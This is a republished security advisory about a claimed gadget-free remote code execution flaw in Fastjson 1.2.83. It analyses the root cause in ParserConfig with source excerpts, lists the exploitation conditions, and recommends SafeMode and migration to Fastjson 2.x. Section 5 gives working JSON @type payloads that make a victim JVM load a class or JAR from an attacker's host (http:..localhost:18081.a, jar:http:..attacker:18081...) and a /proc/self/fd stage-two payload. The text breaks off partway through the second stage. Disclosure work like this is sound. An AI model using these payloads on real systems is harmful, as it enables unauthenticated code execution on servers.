BTC
ETH
HTX
SOL
BNB
View Market
简中
繁中
English
日本語
한국어
ภาษาไทย
Tiếng Việt

GCSA Insight: Deep Analysis and Defense Guide for Fastjson 1.2.83 "Gadget-Free" Vulnerability (0day)

星球君的朋友们
Odaily资深作者
2026-07-23 08:00
This article is about 10982 words, reading the full article takes about 16 minutes
Fastjson 1.2.83 can still trigger remote code execution that bypasses the need for traditional gadgets, even with AutoType set to false by default. This has been reproduced in isolated environments with JDK 8/17/21/25 and Spring Boot Loader.
AI Summary
Expand
  • Core Insight: Even with the default AutoType disabled, Fastjson 1.2.83 can bypass security checks by crafting a user-controlled @type value as an absolute URL. It can then directly load and instantiate a malicious class annotated with @JSONType from a remote source, enabling Remote Code Execution (RCE) without requiring traditional Gadgets.
  • Key Elements:
    1. Fastjson's ParserConfig.checkAutoType method replaces dots in the @type value with slashes and then uses it as a resource name for ClassLoader.getResourceAsStream. This operation does not restrict URL protocols, allowing remote resources to be loaded.
    2. An attacker can add a @JSONType annotation to a remote class. When Fastjson detects this annotation, it treats the class as authorized, bypassing subsequent dangerous base class checks and type compatibility checks, directly returning and instantiating the class.
    3. In modern JDK 17+ environments, attackers can construct a type name like jar:http:... to make the JVM download a remote JAR and create a temporary cache. They then use jar:file:/proc/self/fd/N!... to open the cache file descriptor, completing the RCE in stages.
    4. By appending an Exception suffix to the @type value, Fastjson can be made to return null instead of throwing an exception when class loading fails. This "soft return" ensures the payload can continue execution in the array parsing chains of different JDK versions.
    5. This vulnerability has been successfully reproduced in JDK 8/17/21/25 and in Spring Boot Loader isolated environments. Using a fixed second parameter for JSON.parseObject is ineffective in defending against it.

GCSA - Global Cybersecurity Alliance

Abstract

In traditional Java deserialization vulnerability defense systems, the industry generally holds the following cognitive blind spots: "AutoType disabled by default means safe," "Fixing the second parameter (top-level target type) of parseObject means safe," "Clearing the local Classpath of deserialization gadget dependencies means safe." However, the latest evolution in technical offense and defense has completely shattered these false senses of security.

Today, the GCSA Global Cybersecurity Alliance exclusively releases this technical insight report. The report deeply analyzes the root cause of how Fastjson 1.2.83, even with AutoType=false by default, can still trigger Remote Code Execution (RCE) without relying on traditional gadget dependencies. Currently, this exploitation technique has been successfully reproduced end-to-end in JDK 8 / 17 / 21 / 25 and Spring Boot Loader isolated environments. This vulnerability is not a traditional case of "bypassing the blacklist to find local gadgets"; rather, it directly twists Fastjson's own class metadata detection logic into a channel for fetching and authorizing remote malicious classes.

The following is the main text.

  • Publisher: GCSA Global Cybersecurity Alliance
  • Report Type: Exclusive Technical Insight / In-Depth Vulnerability Analysis Report
  • Report Date: 2026-07-21
  • Report Status: Source Code Audit & Isolated Environment Reproduction Completed
  • Vulnerability ID: Internal Research ID FJ-GETRESOURCE-RCE (No corresponding public CVE)

Fastjson 1.2.83 can still trigger remote code execution without requiring traditional gadgets, even with the default AutoType=false. This has been reproduced in isolated environments with JDK 8/17/21/25 + Spring Boot Loader. It is recommended to immediately enable SafeMode and migrate to Fastjson 2.x.

1. Executive Summary

Fastjson 1.2.83's ParserConfig.checkAutoType converts the user-controllable @type value into a class resource name and passes it to the current ClassLoader's getResourceAsStream:

String resource = typeName.replace('.', '/') + ".class";
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);

In environments with fat-jar ClassLoaders capable of resolving absolute URL resource names, an attacker can use dot replacement to construct http:, jar:http:, and jar:file: URLs to download a malicious class annotated with @JSONType from the attacker's server. Upon detecting this annotation, Fastjson calls loadClass and returns the class directly, bypassing dangerous base class checks and target type compatibility checks. Arbitrary code can then be executed when the class is instantiated and initialized.

This exploitation does not rely on traditional deserialization gadgets present on the target classpath and can be triggered even under Fastjson's default AutoType=false setting. Fixing the target type of JSON.parseObject does not prevent execution; enabling SafeMode blocks the normal exploitation path before resource access occurs.

This report has completed reproductions in isolated Linux containers using the same JSON payload for the following configurations:

JDK ClassLoader Environment Fastjson Result Temurin 8 U492 Spring Boot Loader 2.7.18 1.2.83 RCE Successful Temurin 17.0.19 Spring Boot Loader 3.2.0 1.2.83 RCE Successful Temurin 21.0.11 Spring Boot Loader 3.2.0 1.2.83 RCE Successful Temurin 25.0.3 Spring Boot Loader 3.2.0 1.2.83 RCE Successful

2. Vulnerability Rating

Item Conclusion Vulnerability Type Unsafe Deserialization / Remote Class Injection / Remote Code Execution Recommended Severity High; Can be treated as Critical in verified deployment scenarios Attack Vector Network Remote Privileges Required None User Interaction None Confidentiality Impact High Integrity Impact High Availability Impact High Exploitation Complexity Depends on ClassLoader, outbound network capability, and OS file descriptor interface

It is not recommended to assign a uniform CVSS 9.8 based solely on the component version: the standard AppClassLoader serves as a negative control, and the full chain on modern JDKs also depends on a loader capable of resolving both types of absolute JAR URLs and /proc/self/fd. In applications meeting the positive environment conditions described in this report, the vulnerability results in unauthenticated network-based RCE.

3. Scope and Prerequisites

3.1 Confirmed Scope

  • Runtime Confirmed: Fastjson 1.2.83.
  • JDK Confirmed: 8, 17, 21, 25.
  • OS Confirmed: Linux; reproduction on macOS using /dev/fd has also been completed for JDK 17/21/25.
  • Loader Confirmed:

- Spring Boot 2.7.18 classic loader + JDK 8; - Spring Boot 3.2.0 loader + JDK 17/21/25.

  • API Confirmed: JSON.parse, and JSON.parseObject with a fixed top-level type.

3.2 Version Range Explanation

The range 1.2.68–1.2.83 described externally is more suitable as a known testing range, not necessarily the version where the vulnerability was introduced. Source code verification indicates that the critical class resource probing logic existed in versions 1.2.67 and 1.2.68. This report only completes full cross-JDK runtime verification for 1.2.83 and cannot assert that all earlier versions possess exactly the same end-to-end exploitability conditions.

3.3 Required Conditions for Exploitation

  1. The attacker can control the JSON input passed to Fastjson, and the @type within the input will be parsed.
  2. SafeMode is not enabled.
  3. The ClassLoader loading Fastjson can resolve the constructed absolute resource name as a URL.
  4. The victim process can connect to the attacker's HTTP server.
  5. The modern Linux chain requires /proc/self/fd to be readable, and the loader can parse

jar:file:/proc/self/fd/N!....

  1. The JDK needs to be able to create temporary caches for remote JARs; this usually requires the JVM temporary directory to be writable.

The attacker does NOT require:

  • Writing files to the target classpath;
  • Preloaded gadgets on the target classpath such as TemplatesImpl, JNDI, C3P0, Commons Collections;
  • Enabling Fastjson AutoType;
  • Controlling the second parameter of JSON.parseObject.

4. Root Cause Analysis

4.1 User-Controlled Type Name Used as Resource URL

Source Location:

src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498

Core Code:

String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
    is = defaultClassLoader.getResourceAsStream(resource);
} else {
    is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}

This logic assumes resource is just a normal classpath path, but it does not restrict the protocol, absolute path semantics, or source. For specific fat-jar loaders, the following input becomes an absolute URL after replacement:

Input Type Name: http:..localhost:18081.a
Resource Name:     http://localhost:18081/a.class

Thus, getResourceAsStream oversteps its bounds from local metadata query to attacker-controlled network resource loading.

4.2 Remote Class's @JSONType Used as Authorization Basis

Fastjson uses its own ASM ClassReader to parse the resource content:

ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();

The attacker only needs the remote class to carry Fastjson's @JSONType annotation to set jsonType to true. The check is performed on bytes provided by the attacker, not on a class already loaded from a trusted classpath.

4.3 jsonType Triggers Actual Class Loading

Source Location:

ParserConfig.java:1500-1503
TypeUtils.java:1759-1792
if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

TypeUtils.loadClass tries, in order, the explicit loader, the thread context loader, and Class.forName. In a positive environment, the thread context loader will resolve the same absolute resource name again, download the class, and execute defineClass.

4.4 @JSONType Early Return Bypasses Subsequent Security Checks

Source Location:

ParserConfig.java:1505-1528
if (clazz != null) {
    if (jsonType) {
        return clazz;
    }     // These checks are performed after the jsonType is returned.
    if (ClassLoader.class.isAssignableFrom(clazz)
            || DataSource.class.isAssignableFrom(clazz)
            || RowSet.class.isAssignableFrom(clazz)) {
        throw new JSONException(...);
    }     if (expectClass != null) {
        // assignability the check is also done later.
    }
}

Therefore, once a remote class carries @JSONType:

  • The dangerous base class check is not executed;
  • The expectClass.isAssignableFrom(clazz) check is not executed;
  • Fixing the data binding type cannot prevent execution before class initialization.

4.5 Exception/Error Suffix Creates a Soft Channel for Failure

Source Location:

ParserConfig.java:1537-1542
if (!autoTypeSupport) {
    if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
        return null;
    }
    throw new JSONException("autoType is not support. " + typeName);
}

On modern JDKs, the first stage fails due to an illegal inner class name. By making the type name end with Exception, Fastjson does not terminate the entire JSON parsing but returns null, allowing the parser to continue processing FD enumeration elements within the array. This branch is key to executing a single payload across multiple stages.

4.6 Location of SafeMode

The SafeMode check is located before resource access:

ParserConfig.java:1325-1330

Therefore, SafeMode can prevent network requests in the default path. However, the AutoTypeCheckHandler is located before SafeMode (ParserConfig.java:1316-1323); if the application actively registers a handler that directly returns a type, it needs to be separately audited. SafeMode should not be understood as an absolute boundary that overrides custom handlers.

5. Detailed Exploitation Chain

5.1 JDK 8: Direct Remote Class Loading

Shortest Form:

{"@type":"http:..localhost:18081.a"}

Transformation Chain:

binary type name:  http:..localhost:18081.a
resource URL:      http://localhost:18081/a.class
class internal:    http://localhost:18081/a

JDK 8 accepts the non-standard internal class name above. Spring Boot 2.7's LaunchedURLClassLoader downloads the class, completes definition, instantiation, and initialization, and the malicious <clinit> executes commands.

JDK 17+ also completes the network request but rejects the empty path segment in the internal name:

ClassFormatError: Illegal class name "http://localhost:18081/a"

Thus, the short http:.. form itself only achieves RCE on JDK 8.

5.2 Modern JDK Stage 1: Downloading Remote JAR

First element of the single payload array:

{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}

Transformation Result:

resource URL:
jar:http://attacker:18081/x!/foo/Exception.class

JDK's sun.net.www.protocol.jar.URLJarFile.retrieve creates a jar_cache* temporary file, copies the remote JAR into it, and then opens the JarFile. The cache is held by the victim JVM's process; the attacker does not need to know the random temporary filename and does not directly write to the victim file system.

JDK 17+ subsequently rejects the internal name from the first stage (jar:http://...), but Fastjson, due to the Exception suffix, continues parsing the array.

5.3 Modern JDK Stage 2: Reopening the Cache FD

Example of a subsequent candidate element:

{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}
Safety
technology
Welcome to Join Odaily Official Community